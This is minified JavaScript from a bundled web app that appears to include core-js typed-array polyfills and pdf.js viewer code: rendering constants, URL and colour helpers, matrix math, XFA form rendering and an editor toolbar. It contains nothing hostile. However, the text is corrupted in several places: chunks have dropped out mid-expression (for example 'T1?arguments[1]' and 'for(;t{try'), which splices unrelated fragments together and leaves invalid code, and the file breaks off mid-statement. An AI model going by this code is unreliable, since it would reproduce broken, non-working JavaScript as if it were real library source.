n=t(4644),r=t(1108),i=t(6198),s=t(1291),o=t(5854),l=n.aTypedArray,u=n.getTypedArrayConstructor,c=n.exportTypedArrayMethod,d=RangeError,f=function(){try{new Int8Array(1).with(2,{valueOf:function(){throw 8}})}catch(m){return m===8}}(),p=f&&function(){try{new Int8Array(1).with(-.5,1)}catch{return!0}}();c("with",function(m,v){var y=l(this),E=i(y),S=s(m),w=S<0?E+S:S,C=r(y)?o(v):+v;if(w>=E||w<0)throw new d("Incorrect index");for(var x=new(u(y))(E),T=0;T1?arguments[1]:void 0,null,9007199254740991);return i(o,d.bytes)}})},6632(h,e,t){var n=t(6518),r=t(4576),i=t(9143),s=t(4154),o=r.Uint8Array,l=!o||!o.prototype.setFromBase64||!function(){var u=new o([255,255,255,255,255]);try{u.setFromBase64("",null);return}catch{}try{u.setFromBase64("a");return}catch{}try{u.setFromBase64("MjYyZg===")}catch{return u[0]===50&&u[1]===54&&u[2]===50&&u[3]===255&&u[4]===255}}();o&&n({target:"Uint8Array",proto:!0,forced:l},{setFromBase64:function(c){s(this);var d=i(c,arguments.length>1?arguments[1]:void 0,this,this.length);return{read:d.read,written:d.written}}})},4226(h,e,t){var n=t(6518),r=t(4576),i=t(3463),s=t(4154),o=t(5169),l=t(2303);function u(){try{var c=new ArrayBuffer(16,{maxByteLength:1024});new Uint8Array(c).setFromHex("cafed00d")}catch{return!0}}r.Uint8Array&&n({target:"Uint8Array",proto:!0,forced:u()},{setFromHex:function(d){s(this),i(d),o(this.buffer);var f=l(d,this).read;return{read:f,written:f/2}}})},9486(h,e,t){var n=t(6518),r=t(4576),i=t(9504),s=t(3972),o=t(4154),l=t(5169),u=t(2804),c=t(944),d=u.i2c,f=u.i2cUrl,p=i("".charAt),m=r.Uint8Array,v=!m||!m.prototype.toBase64||!function(){try{var y=new m;y.toBase64(null)}catch{return!0}}();m&&n({target:"Uint8Array",proto:!0,forced:v},{toBase64:function(){var E=o(this),S=arguments.length?s(arguments[0]):void 0,w=c(S)==="base64"?d:f,C=!!S&&!!S.omitPadding;l(this.buffer);for(var x="",T=0,I=E.length,F,P=function(R){return p(w,F>>6*R&63)};T+2{for(var t in e)ut.o(e,t)&&!ut.o(h,t)&&Object.defineProperty(h,t,{enumerable:!0,get:e[t]})};ut.o=(h,e)=>Object.prototype.hasOwnProperty.call(h,e);ut(4423);ut(4114);ut(6573);ut(8100);ut(7936);ut(5367);ut(2731);ut(9577);ut(6632);ut(4226);ut(9486);ut(456);ut(5781);const _n=typeof process=="object"&&process+""=="[object process]"&&!process.versions.nw&&!(process.versions.electron&&process.type&&process.type!=="browser"),Ls=[1/0,1/0,-1/0,-1/0],So=new Float32Array(Ls),Hv=[.001,0,0,.001,0,0],Cv=1.35,Xn={ANY:1,DISPLAY:2,PRINT:4,ANNOTATIONS_FORMS:16,ANNOTATIONS_STORAGE:32,ANNOTATIONS_DISABLE:64,IS_EDITING:128,OPLIST:256},Ds={DISABLE:0,ENABLE:1,ENABLE_FORMS:2,ENABLE_STORAGE:3},xd="pdfjs_internal_editor_",ct={DISABLE:-1,NONE:0,FREETEXT:3,HIGHLIGHT:9,STAMP:13,INK:15,POPUP:16,SIGNATURE:101,COMMENT:102},gt={RESIZE:1,CREATE:2,FREETEXT_SIZE:11,FREETEXT_COLOR:12,FREETEXT_OPACITY:13,INK_COLOR:21,INK_THICKNESS:22,INK_OPACITY:23,INK_COLOR_AND_OPACITY:24,HIGHLIGHT_COLOR:31,HIGHLIGHT_THICKNESS:32,HIGHLIGHT_FREE:33,HIGHLIGHT_SHOW_ALL:34,DRAW_STEP:41},Fx={PRINT:4,MODIFY_CONTENTS:8,COPY:16,MODIFY_ANNOTATIONS:32,FILL_INTERACTIVE_FORMS:256,COPY_FOR_ACCESSIBILITY:512,ASSEMBLE:1024,PRINT_HIGH_QUALITY:2048},xe={FILL:0,STROKE:1,FILL_STROKE:2,INVISIBLE:3,FILL_STROKE_MASK:3,ADD_TO_PATH_FLAG:4},wg={GRAYSCALE_1BPP:1,RGB_24BPP:2,RGBA_32BPP:3},ge={TEXT:1,LINK:2,FREETEXT:3,LINE:4,SQUARE:5,CIRCLE:6,POLYGON:7,POLYLINE:8,HIGHLIGHT:9,UNDERLINE:10,SQUIGGLY:11,STRIKEOUT:12,STAMP:13,CARET:14,INK:15,POPUP:16,FILEATTACHMENT:17,SOUND:18,MOVIE:19,WIDGET:20,SCREEN:21,PRINTERMARK:22,TRAPNET:23,WATERMARK:24,THREED:25,REDACT:26},mh={SOLID:1,DASHED:2,BEVELED:3,INSET:4,UNDERLINE:5},hv={ERRORS:0,WARNINGS:1,INFOS:5},Mi={dependency:1,setLineWidth:2,setLineCap:3,setLineJoin:4,setMiterLimit:5,setDash:6,setRenderingIntent:7,setFlatness:8,setGState:9,save:10,restore:11,transform:12,moveTo:13,lineTo:14,curveTo:15,curveTo2:16,curveTo3:17,closePath:18,rectangle:19,stroke:20,closeStroke:21,fill:22,eoFill:23,fillStroke:24,eoFillStroke:25,closeFillStroke:26,closeEOFillStroke:27,endPath:28,clip:29,eoClip:30,beginText:31,endText:32,setCharSpacing:33,setWordSpacing:34,setHScale:35,setLeading:36,setFont:37,setTextRenderingMode:38,setTextRise:39,moveText:40,setLeadingMoveText:41,setTextMatrix:42,nextLine:43,showText:44,showSpacedText:45,nextLineShowText:46,nextLineSetSpacingShowText:47,setCharWidth:48,setCharWidthAndBounds:49,setStrokeColorSpace:50,setFillColorSpace:51,setStrokeColor:52,setStrokeColorN:53,setFillColor:54,setFillColorN:55,setStrokeGray:56,setFillGray:57,setStrokeRGBColor:58,setFillRGBColor:59,setStrokeCMYKColor:60,setFillCMYKColor:61,shadingFill:62,beginInlineImage:63,beginImageData:64,endInlineImage:65,paintXObject:66,markPoint:67,markPointProps:68,beginMarkedContent:69,beginMarkedContentProps:70,endMarkedContent:71,beginCompat:72,endCompat:73,paintFormXObjectBegin:74,paintFormXObjectEnd:75,beginGroup:76,endGroup:77,beginAnnotation:80,endAnnotation:81,paintImageMaskXObject:83,paintImageMaskXObjectGroup:84,paintImageXObject:85,paintInlineImageXObject:86,paintInlineImageXObjectGroup:87,paintImageXObjectRepeat:88,paintImageMaskXObjectRepeat:89,paintSolidColorImageMask:90,constructPath:91,setStrokeTransparent:92,setFillTransparent:93,rawFillPath:94},Bc={moveTo:0,lineTo:1,curveTo:2,quadraticCurveTo:3,closePath:4},W1={NEED_PASSWORD:1,INCORRECT_PASSWORD:2};let uv=hv.WARNINGS;function Dx(h){Number.isInteger(h)&&(uv=h)}function Ox(){return uv}function cv(h){uv>=hv.INFOS&&console.info(`Info: ${h}`)}function ht(h){uv>=hv.WARNINGS&&console.warn(`Warning: ${h}`)}function Ot(h){throw new Error(h)}function ne(h,e){h||Ot(e)}function Mx(h){switch(h==null?void 0:h.protocol){case"http:":case"https:":case"ftp:":case"mailto:":case"tel:":return!0;default:return!1}}function z1(h,e=null,t=null){if(!h)return null;if(t&&typeof h=="string"){if(t.addDefaultProtocol&&h.startsWith("www.")){const r=h.match(/\./g);(r==null?void 0:r.length)>=2&&(h=`http://${h}`)}if(t.tryConvertEncoding)try{h=kx(h)}catch{}}const n=e?URL.parse(h,e):URL.parse(h);return Mx(n)?n:null}function G1(h,e,t=!1){const n=URL.parse(h);return n?(n.hash=e,n.href):t&&z1(h,"http://example.com")?h.split("#",1)[0]+`${e?`#${e}`:""}`:""}function Vv(h){return h.substring(h.lastIndexOf("/")+1)}function dt(h,e,t,n=!1){return Object.defineProperty(h,e,{value:t,enumerable:!n,configurable:!0,writable:!1}),t}const dh=function(){function e(t,n){this.message=t,this.name=n}return e.prototype=new Error,e.constructor=e,e}();class Ib extends dh{constructor(e,t){super(e,"PasswordException"),this.code=t}}class Tv extends dh{constructor(e,t){super(e,"UnknownErrorException"),this.details=t}}let Wv=class extends dh{constructor(e){super(e,"InvalidPDFException")}},Em=class extends dh{constructor(e,t,n){super(e,"ResponseException"),this.status=t,this.missing=n}};class Lx extends dh{constructor(e){super(e,"FormatError")}}let ho=class extends dh{constructor(e){super(e,"AbortException")}};function Nx(h){(typeof h!="object"||(h==null?void 0:h.length)===void 0)&&Ot("Invalid argument for bytesToString");const e=h.length,t=8192;if(e{if(typeof document>"u")return!1;const e=document.createElement("input");return e.type="color",e.setAttribute("alpha",""),e.value="#ff000080",e.value!=="#ff0000"})())}};var Bs,jv,xg,zv;let _=(jv=class{static get hexNums(){return dt(this,"hexNums",Array.from(Array(256).keys(),e=>e.toString(16).padStart(2,"0")))}static makeHexColor(e,t,n){return`#${this.hexNums[e]}${this.hexNums[t]}${this.hexNums[n]}`}static domMatrixToTransform(e){return[e.a,e.b,e.c,e.d,e.e,e.f]}static scaleMinMax(e,t){let n;e[0]?(e[0]<0&&(n=t[0],t[0]=t[2],t[2]=n),t[0]*=e[0],t[2]*=e[0],e[3]<0&&(n=t[1],t[1]=t[3],t[3]=n),t[1]*=e[3],t[3]*=e[3]):(n=t[0],t[0]=t[1],t[1]=n,n=t[2],t[2]=t[3],t[3]=n,e[1]<0&&(n=t[1],t[1]=t[3],t[3]=n),t[1]*=e[1],t[3]*=e[1],e[2]<0&&(n=t[0],t[0]=t[2],t[2]=n),t[0]*=e[2],t[2]*=e[2]),t[0]+=e[4],t[1]+=e[5],t[2]+=e[4],t[3]+=e[5]}static transform(e,t){return[e[0]*t[0]+e[2]*t[1],e[1]*t[0]+e[3]*t[1],e[0]*t[2]+e[2]*t[3],e[1]*t[2]+e[3]*t[3],e[0]*t[4]+e[2]*t[5]+e[4],e[1]*t[4]+e[3]*t[5]+e[5]]}static multiplyByDOMMatrix(e,t){return[e[0]*t.a+e[2]*t.b,e[1]*t.a+e[3]*t.b,e[0]*t.c+e[2]*t.d,e[1]*t.c+e[3]*t.d,e[0]*t.e+e[2]*t.f+e[4],e[1]*t.e+e[3]*t.f+e[5]]}static applyTransform(e,t,n=0){const r=e[n],i=e[n+1];e[n]=r*t[0]+i*t[2]+t[4],e[n+1]=r*t[1]+i*t[3]+t[5]}static applyTransformToBezier(e,t,n=0){const r=t[0],i=t[1],s=t[2],o=t[3],l=t[4],u=t[5];for(let c=0;c<6;c+=2){const d=e[n+c],f=e[n+c+1];e[n+c]=d*r+f*s+l,e[n+c+1]=d*i+f*o+u}}static applyInverseTransform(e,t){const n=e[0],r=e[1],i=t[0]*t[3]-t[1]*t[2];e[0]=(n*t[3]-r*t[2]+t[2]*t[5]-t[4]*t[3])/i,e[1]=(-n*t[1]+r*t[0]+t[4]*t[1]-t[5]*t[0])/i}static axialAlignedBoundingBox(e,t,n){const r=t[0],i=t[1],s=t[2],o=t[3],l=t[4],u=t[5],c=e[0],d=e[1],f=e[2],p=e[3];let m=r*c+l,v=m,y=r*f+l,E=y,S=o*d+u,w=S,C=o*p+u,x=C;if(i!==0||s!==0){const T=i*c,I=i*f,F=s*d,P=s*p;m+=F,E+=F,y+=P,v+=P,S+=T,x+=T,C+=I,w+=I}n[0]=Math.min(n[0],m,y,v,E),n[1]=Math.min(n[1],S,C,w,x),n[2]=Math.max(n[2],m,y,v,E),n[3]=Math.max(n[3],S,C,w,x)}static inverseTransform(e){const t=e[0]*e[3]-e[1]*e[2];return[e[3]/t,-e[1]/t,-e[2]/t,e[0]/t,(e[2]*e[5]-e[4]*e[3])/t,(e[4]*e[1]-e[5]*e[0])/t]}static singularValueDecompose2dScale(e,t){const n=e[0],r=e[1],i=e[2],s=e[3],o=n**2+r**2,l=n*i+r*s,u=i**2+s**2,c=(o+u)/2,d=Math.sqrt(c**2-(o*u-l**2));t[0]=Math.sqrt(c+d||1),t[1]=Math.sqrt(c-d||1)}static normalizeRect(e){const t=e.slice(0);return e[0]>e[2]&&(t[0]=e[2],t[2]=e[0]),e[1]>e[3]&&(t[1]=e[3],t[3]=e[1]),t}static intersect(e,t){const n=Math.max(Math.min(e[0],e[2]),Math.min(t[0],t[2])),r=Math.min(Math.max(e[0],e[2]),Math.max(t[0],t[2]));if(n>r)return null;const i=Math.max(Math.min(e[1],e[3]),Math.min(t[1],t[3])),s=Math.min(Math.max(e[1],e[3]),Math.max(t[1],t[3]));return i>s?null:[n,i,r,s]}static pointBoundingBox(e,t,n){n[0]=Math.min(n[0],e),n[1]=Math.min(n[1],t),n[2]=Math.max(n[2],e),n[3]=Math.max(n[3],t)}static rectBoundingBox(e,t,n,r,i){i[0]=Math.min(i[0],e,n),i[1]=Math.min(i[1],t,r),i[2]=Math.max(i[2],e,n),i[3]=Math.max(i[3],t,r)}static bezierBoundingBox(e,t,n,r,i,s,o,l,u){u[0]=Math.min(u[0],e,o),u[1]=Math.min(u[1],t,l),u[2]=Math.max(u[2],e,o),u[3]=Math.max(u[3],t,l),A(this,Bs,zv).call(this,e,n,i,o,t,r,s,l,3*(-e+3*(n-i)+o),6*(e-2*n+i),3*(n-e),u),A(this,Bs,zv).call(this,e,n,i,o,t,r,s,l,3*(-t+3*(r-s)+l),6*(t-2*r+s),3*(r-t),u)}},Bs=new WeakSet,xg=function(e,t,n,r,i,s,o,l,u,c){if(u<=0||u>=1)return;const d=1-u,f=u*u,p=f*u,m=d*(d*(d*e+3*u*t)+3*f*n)+p*r,v=d*(d*(d*i+3*u*s)+3*f*o)+p*l;c[0]=Math.min(c[0],m),c[1]=Math.min(c[1],v),c[2]=Math.max(c[2],m),c[3]=Math.max(c[3],v)},zv=function(e,t,n,r,i,s,o,l,u,c,d,f){if(Math.abs(u)<1e-12){Math.abs(c)>=1e-12&&A(this,Bs,xg).call(this,e,t,n,r,i,s,o,l,-d/c,f);return}const p=c**2-4*d*u;if(p<0)return;const m=Math.sqrt(p),v=2*u;A(this,Bs,xg).call(this,e,t,n,r,i,s,o,l,(-c+m)/v,f),A(this,Bs,xg).call(this,e,t,n,r,i,s,o,l,(-c-m)/v,f)},b(jv,Bs),jv);function kx(h){return decodeURIComponent(escape(h))}let Pv=null,Rb=null;function jx(h){return Pv||(Pv=/([\u00a0\u00b5\u037e\u0eb3\u2000-\u200a\u202f\u2126\ufb00-\ufb04\ufb06\ufb20-\ufb36\ufb38-\ufb3c\ufb3e\ufb40-\ufb41\ufb43-\ufb44\ufb46-\ufba1\ufba4-\ufba9\ufbae-\ufbb1\ufbd3-\ufbdc\ufbde-\ufbe7\ufbea-\ufbf8\ufbfc-\ufbfd\ufc00-\ufc5d\ufc64-\ufcf1\ufcf5-\ufd3d\ufd88\ufdf4\ufdfa-\ufdfb\ufe71\ufe77\ufe79\ufe7b\ufe7d]+)|(\ufb05+)/gu,Rb=new Map([["ſt","ſt"]])),h.replaceAll(Pv,(e,t,n)=>t?t.normalize("NFKC"):Rb.get(n))}function X1(){if(typeof crypto.randomUUID=="function")return crypto.randomUUID();const h=new Uint8Array(32);return crypto.getRandomValues(h),Nx(h)}const Ph="pdfjs_internal_id_";function Ux(h,e,t){if(!Array.isArray(t)||t.length<2)return!1;const[n,r,...i]=t;if(!h(n)&&!Number.isInteger(n)||!e(r))return!1;const s=i.length;let o=!0;switch(r.name){case"XYZ":if(s<2||s>3)return!1;break;case"Fit":case"FitB":return s===0;case"FitH":case"FitBH":case"FitV":case"FitBV":if(s>1)return!1;break;case"FitR":if(s!==4)return!1;o=!1;break;default:return!1}for(const l of i)if(!(typeof l=="number"||o&&l===null))return!1;return!0}const eb=()=>[],nb=()=>new Map,Gv=()=>Object.create(null);typeof Blob.prototype.bytes!="function"&&(Blob.prototype.bytes=async function(){return new Uint8Array(await this.arrayBuffer())});typeof Response.prototype.bytes!="function"&&(Response.prototype.bytes=async function(){return new Uint8Array(await this.arrayBuffer())});typeof AbortSignal.any!="function"&&(AbortSignal.any=function(h){const e=new AbortController,{signal:t}=e;for(const n of h)if(n.aborted)return e.abort(n.reason),t;for(const n of h)n.addEventListener("abort",()=>{e.abort(n.reason)},{signal:t});return t});ut(8111);ut(1701);ut(4603);ut(7566);ut(8721);function Qt(h,e,t){return Math.min(Math.max(h,e),t)}class Sd{static textContent(e){const t=[],n={items:t,styles:Object.create(null)};function r(i){var l;if(!i)return;let s=null;const o=i.name;if(o==="#text")s=i.value;else if(Sd.shouldBuildText(o))(l=i==null?void 0:i.attributes)!=null&&l.textContent?s=i.attributes.textContent:i.value&&(s=i.value);else return;if(s!==null&&t.push({str:s}),!!i.children)for(const u of i.children)r(u)}return r(e),n}static shouldBuildText(e){return!(e==="textarea"||e==="input"||e==="option"||e==="select")}}let _1=class{static setupStorage(e,t,n,r,i){const s=r.getValue(t,{value:null});switch(n.name){case"textarea":if(s.value!==null&&(e.textContent=s.value),i==="print")break;e.addEventListener("input",o=>{r.setValue(t,{value:o.target.value})});break;case"input":if(n.attributes.type==="radio"||n.attributes.type==="checkbox"){if(s.value===n.attributes.xfaOn?e.setAttribute("checked",!0):s.value===n.attributes.xfaOff&&e.removeAttribute("checked"),i==="print")break;e.addEventListener("change",o=>{r.setValue(t,{value:o.target.checked?o.target.getAttribute("xfaOn"):o.target.getAttribute("xfaOff")})})}else{if(s.value!==null&&e.setAttribute("value",s.value),i==="print")break;e.addEventListener("input",o=>{r.setValue(t,{value:o.target.value})})}break;case"select":if(s.value!==null){e.setAttribute("value",s.value);for(const o of n.children)o.attributes.value===s.value?o.attributes.selected=!0:Object.hasOwn(o.attributes,"selected")&&delete o.attributes.selected}e.addEventListener("input",o=>{const l=o.target.options,u=l.selectedIndex===-1?"":l[l.selectedIndex].value;r.setValue(t,{value:u})});break}}static setAttributes({html:e,element:t,storage:n=null,intent:r,linkService:i}){const{attributes:s}=t,o=e instanceof HTMLAnchorElement;s.type==="radio"&&(s.name=`${s.name}-${r}`);for(const[l,u]of Object.entries(s))if(u!=null)switch(l){case"class":u.length&&e.setAttribute(l,u.join(" "));break;case"dataId":break;case"id":e.setAttribute("data-element-id",u);break;case"style":Object.assign(e.style,u);break;case"textContent":e.textContent=u;break;default:(!o||l!=="href"&&l!=="newWindow")&&e.setAttribute(l,u)}o&&i.addLinkAttributes(e,s.href,s.newWindow),n&&s.dataId&&this.setupStorage(e,s.dataId,t,n)}static render(e){var d,f;const t=e.annotationStorage,n=e.linkService,r=e.xfaHtml,i=e.intent||"display",s=document.createElement(r.name);r.attributes&&this.setAttributes({html:s,element:r,intent:i,linkService:n});const o=i!=="richText",l=e.div;if(l.append(s),e.viewport){const p=`matrix(${e.viewport.transform.join(",")})`;l.style.transform=p}o&&l.setAttribute("class","xfaLayer xfaFont");const u=[];if(r.children.length===0){if(r.value){const p=document.createTextNode(r.value);s.append(p),o&&Sd.shouldBuildText(r.name)&&u.push(p)}return{textDivs:u}}const c=[[r,-1,s]];for(;c.length>0;){const[p,m,v]=c.at(-1);if(m+1===p.children.length){c.pop();continue}const y=p.children[++c.at(-1)[1]];if(y===null)continue;const{name:E}=y;if(E==="#text"){const w=document.createTextNode(y.value);u.push(w),v.append(w);continue}const S=(d=y==null?void 0:y.attributes)!=null&&d.xmlns?document.createElementNS(y.attributes.xmlns,E):document.createElement(E);if(v.append(S),y.attributes&&this.setAttributes({html:S,element:y,storage:t,intent:i,linkService:n}),((f=y.children)==null?void 0:f.length)>0)c.push([y,-1,S]);else if(y.value){const w=document.createTextNode(y.value);o&&Sd.shouldBuildText(E)&&u.push(w),S.append(w)}}for(const p of l.querySelectorAll(".xfaNonInteractive input, .xfaNonInteractive textarea"))p.setAttribute("readOnly",!0);return{textDivs:u}}static update(e){const t=`matrix(${e.viewport.transform.join(",")})`;e.div.style.transform=t,e.div.hidden=!1}};const Pi="http://www.w3.org/2000/svg";var wi;let Fc=(wi=class{},M(wi,"CSS",96),M(wi,"PDF",72),M(wi,"PDF_TO_CSS_UNITS",wi.CSS/wi.PDF),wi);async function rb(h,e="text"){if(vd(h,document.baseURI)){const t=await fetch(h);if(!t.ok)throw new Error(t.statusText);switch(e){case"blob":return t.blob();case"bytes":return t.bytes();case"json":return t.json()}return t.text()}return new Promise((t,n)=>{const r=new XMLHttpRequest;r.open("GET",h,!0),r.responseType=e==="bytes"?"arraybuffer":e,r.onreadystatechange=()=>{if(r.readyState===XMLHttpRequest.DONE){if(r.status===200||r.status===0){switch(e){case"bytes":t(new Uint8Array(r.response));return;case"blob":case"json":t(r.response);return}t(r.responseText);return}n(new Error(r.statusText))}},r.send(null)})}class ig{constructor({viewBox:e,userUnit:t,scale:n,rotation:r,offsetX:i=0,offsetY:s=0,dontFlip:o=!1}){this.viewBox=e,this.userUnit=t,this.scale=n,this.rotation=r,this.offsetX=i,this.offsetY=s,n*=t;const l=(e[2]+e[0])/2,u=(e[3]+e[1])/2;let c,d,f,p;switch(r%=360,r<0&&(r+=360),r){case 180:c=-1,d=0,f=0,p=1;break;case 90:c=0,d=1,f=1,p=0;break;case 270:c=0,d=-1,f=-1,p=0;break;case 0:c=1,d=0,f=0,p=-1;break;default:throw new Error("PageViewport: Invalid rotation, must be a multiple of 90 degrees.")}o&&(f=-f,p=-p);let m,v,y,E;c===0?(m=Math.abs(u-e[1])*n+i,v=Math.abs(l-e[0])*n+s,y=(e[3]-e[1])*n,E=(e[2]-e[0])*n):(m=Math.abs(l-e[0])*n+i,v=Math.abs(u-e[1])*n+s,y=(e[2]-e[0])*n,E=(e[3]-e[1])*n),this.transform=[c*n,d*n,f*n,p*n,m-c*n*l-f*n*u,v-d*n*l-p*n*u],this.width=y,this.height=E}get rawDims(){const e=this.viewBox;return dt(this,"rawDims",{pageWidth:e[2]-e[0],pageHeight:e[3]-e[1],pageX:e[0],pageY:e[1]})}clone({scale:e=this.scale,rotation:t=this.rotation,offsetX:n=this.offsetX,offsetY:r=this.offsetY,dontFlip:i=!1}={}){return new ig({viewBox:this.viewBox.slice(),userUnit:this.userUnit,scale:e,rotation:t,offsetX:n,offsetY:r,dontFlip:i})}convertToViewportPoint(e,t){const n=[e,t];return _.applyTransform(n,this.transform),n}convertToViewportRectangle(e){const t=[e[0],e[1]];_.applyTransform(t,this.transform);const n=[e[2],e[3]];return _.applyTransform(n,this.transform),[t[0],t[1],n[0],n[1]]}convertToPdfPoint(e,t){const n=[e,t];return _.applyInverseTransform(n,this.transform),n}}let ib=class extends dh{constructor(e,t=0){super(e,"RenderingCancelledException"),this.extraDelay=t}};function fv(h){const e=h.length;let t=0;for(;t{try{return new URL(o)}catch{try{return new URL(decodeURIComponent(o))}catch{try{return new URL(o,"https://foo.bar")}catch{try{return new URL(decodeURIComponent(o),"https://foo.bar")}catch{return null}}}}})(h);if(!n)return e;const r=o=>{try{let l=decodeURIComponent(o);return l.includes("/")&&(l=Vv(l),/^\.pdf$/i.test(l))?o:l}catch{return o}},i=/\.pdf$/i,s=Vv(n.pathname);if(i.test(s))return r(s);if(n.searchParams.size>0){const o=u=>[...u].findLast(c=>i.test(c)),l=o(n.searchParams.values())??o(n.searchParams.keys());if(l)return r(l)}if(n.hash){const l=/[^/?#=]+\.pdf\b(?!.*\.pdf\b)/i.exec(n.hash);if(l)return r(l[0])}return e}var Ks;class Fb{constructor(){b(this,Ks,new Map);M(this,"times",[])}time(e){a(this,Ks).has(e)&&ht(`Timer is already running for ${e}`),a(this,Ks).set(e,Date.now())}timeEnd(e){a(this,Ks).has(e)||ht(`Timer has not been started for ${e}`),this.times.push({name:e,start:a(this,Ks).get(e),end:Date.now()}),a(this,Ks).delete(e)}toString(){const e=Math.max(...this.times.map(t=>t.name.length));return this.times.map(t=>`${t.name.padEnd(e)} ${t.end-t.start}ms +`).join("")}}Ks=new WeakMap;function vd(h,e){const t=e?URL.parse(h,e):URL.parse(h);return/https?:/.test((t==null?void 0:t.protocol)??"")}function Er(h){h.preventDefault()}function ee(h){h.preventDefault(),h.stopPropagation()}function Vx(h){console.log("Deprecated API usage: "+h)}var Uv,Dd;let Xv=(Uv=class{static toDateObject(e){if(e instanceof Date)return e;if(!e||typeof e!="string")return null;a(this,Dd)||g(this,Dd,new RegExp("^D:(\\d{4})(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?(\\d{2})?([Z|+|-])?(\\d{2})?'?(\\d{2})?'?"));const t=a(this,Dd).exec(e);if(!t)return null;const n=parseInt(t[1],10);let r=parseInt(t[2],10);r=r>=1&&r<=12?r-1:0;let i=parseInt(t[3],10);i=i>=1&&i<=31?i:1;let s=parseInt(t[4],10);s=s>=0&&s<=23?s:0;let o=parseInt(t[5],10);o=o>=0&&o<=59?o:0;let l=parseInt(t[6],10);l=l>=0&&l<=59?l:0;const u=t[7]||"Z";let c=parseInt(t[8],10);c=c>=0&&c<=23?c:0;let d=parseInt(t[9],10)||0;return d=d>=0&&d<=59?d:0,u==="-"?(s+=c,o+=d):u==="+"&&(s-=c,o-=d),new Date(Date.UTC(n,r,i,s,o,l))}},Dd=new WeakMap,b(Uv,Dd),Uv);function Wx(h,{scale:e=1,rotation:t=0}){const{width:n,height:r}=h.attributes.style,i=[0,0,parseInt(n,10),parseInt(r,10)];return new ig({viewBox:i,userUnit:1,scale:e,rotation:t})}function ab(h){if(h.startsWith("#")){const t=h.slice(1);return[parseInt(t.slice(0,2),16),parseInt(t.slice(2,4),16),parseInt(t.slice(4,6),16),t.length>=8?parseInt(t.slice(6,8),16)/255:1]}if(h.startsWith("rgb(")){const[t,n,r]=h.slice(4,-1).split(",").map(i=>parseInt(i,10));return[t,n,r,1]}if(h.startsWith("rgba(")){const t=h.slice(5,-1).split(",");return[parseInt(t[0],10),parseInt(t[1],10),parseInt(t[2],10),parseFloat(t[3])]}const e=h.match(/^color\(srgb\s+([\d.]+)\s+([\d.]+)\s+([\d.]+)(?:\s*\/\s*([\d.]+|none))?\)$/);return e?[Math.round(parseFloat(e[1])*255),Math.round(parseFloat(e[2])*255),Math.round(parseFloat(e[3])*255),e[4]!==void 0&&e[4]!=="none"?parseFloat(e[4]):1]:null}function sg(h){const e=ab(h);return e?e.slice(0,3):(ht(`Not a valid color format: "${h}"`),[0,0,0])}function zx(h){const e=document.createElement("span");e.style.visibility="hidden",e.style.colorScheme="only light",document.body.append(e);for(const t of h.keys()){e.style.color=t;const n=window.getComputedStyle(e).color;h.set(t,sg(n))}e.remove()}function Yt(h){const{a:e,b:t,c:n,d:r,e:i,f:s}=h.getTransform();return[e,t,n,r,i,s]}function zr(h){const{a:e,b:t,c:n,d:r,e:i,f:s}=h.getTransform().invertSelf();return[e,t,n,r,i,s]}function hh(h,e,t=!1,n=!0){if(e instanceof ig){const{pageWidth:r,pageHeight:i}=e.rawDims,{style:s}=h,o=be.isCSSRoundSupported,l=`var(--total-scale-factor) * ${r}px`,u=`var(--total-scale-factor) * ${i}px`,c=o?`round(down, ${l}, var(--scale-round-x))`:`calc(${l})`,d=o?`round(down, ${u}, var(--scale-round-y))`:`calc(${u})`;!t||e.rotation%180===0?(s.width=c,s.height=d):(s.width=d,s.height=c)}n&&h.setAttribute("data-main-rotation",e.rotation)}let uh=class _v{constructor(){const{pixelRatio:e}=_v;this.sx=e,this.sy=e}get scaled(){return this.sx!==1||this.sy!==1}get symmetric(){return this.sx===this.sy}limitCanvas(e,t,n,r,i=-1){let s=1/0,o=1/0,l=1/0;n=_v.capPixels(n,i),n>0&&(s=Math.sqrt(n/(e*t))),r!==-1&&(o=r/e,l=r/t);const u=Math.min(s,o,l);return this.sx>u||this.sy>u?(this.sx=u,this.sy=u,!0):!1}static get pixelRatio(){return globalThis.devicePixelRatio||1}static capPixels(e,t){if(t>=0){const n=Math.ceil(window.screen.availWidth*window.screen.availHeight*this.pixelRatio**2*(1+t/100));return e>0?Math.min(e,n):n}return e}};const Yv=["image/apng","image/avif","image/bmp","image/gif","image/jpeg","image/png","image/svg+xml","image/webp","image/x-icon"];class Gx{static get isDarkMode(){var e;return dt(this,"isDarkMode",!!((e=window==null?void 0:window.matchMedia)!=null&&e.call(window,"(prefers-color-scheme: dark)").matches))}}let Xx=class{static get commentForegroundColor(){const e=document.createElement("span");e.classList.add("comment","sidebar");const{style:t}=e;t.width=t.height="0",t.display="none",t.color="var(--comment-fg-color)",document.body.append(e);const{color:n}=window.getComputedStyle(e);return e.remove(),dt(this,"commentForegroundColor",sg(n))}};function _x(h,e){e=Qt(e??1,0,1);const t=255*(1-e);return h.map(n=>Math.round(n*e+t))}function Db(h,e){const t=h[0]/255,n=h[1]/255,r=h[2]/255,i=Math.max(t,n,r),s=Math.min(t,n,r),o=(i+s)/2;if(i===s)e[0]=e[1]=0;else{const l=i-s;switch(e[1]=o<.5?l/(i+s):l/(2-i-s),i){case t:e[0]=((n-r)/l+(nr?(n+.05)/(r+.05):(r+.05)/(n+.05)}const Lb=new Map;function Yx(h,e){const t=h[0]+h[1]*256+h[2]*65536+e[0]*16777216+e[1]*4294967296+e[2]*1099511627776;let n=Lb.get(t);if(n)return n;const r=new Float32Array(9),i=r.subarray(0,3),s=r.subarray(3,6);Db(h,s);const o=r.subarray(6,9);Db(e,o);const l=o[2]<.5,u=l?12:4.5;if(s[2]=l?Math.sqrt(s[2]):1-Math.sqrt(1-s[2]),Mb(s,o,i)f;){const p=s[2]=(c+d)/2;l===Mb(s,o,i){t.delete()},{signal:t._signal}),a(this,nr).append(n)}async addAltText(e){const t=await e.render();A(this,Xe,vh).call(this,t),a(this,nr).append(t,a(this,Xe,Wc)),g(this,Od,e)}addComment(e,t=null){if(a(this,Qs))return;const n=e.renderForToolbar();if(!n)return;A(this,Xe,vh).call(this,n);const r=g(this,Mh,a(this,Xe,Wc));t?(a(this,nr).insertBefore(n,t),a(this,nr).insertBefore(r,t)):a(this,nr).append(n,r),g(this,Qs,e),e.toolbar=this}addColorPicker(e){if(a(this,Zs))return;g(this,Zs,e);const t=e.renderButton();A(this,Xe,vh).call(this,t),a(this,nr).append(t,a(this,Xe,Wc))}async addEditSignatureButton(e){const t=g(this,Lh,await 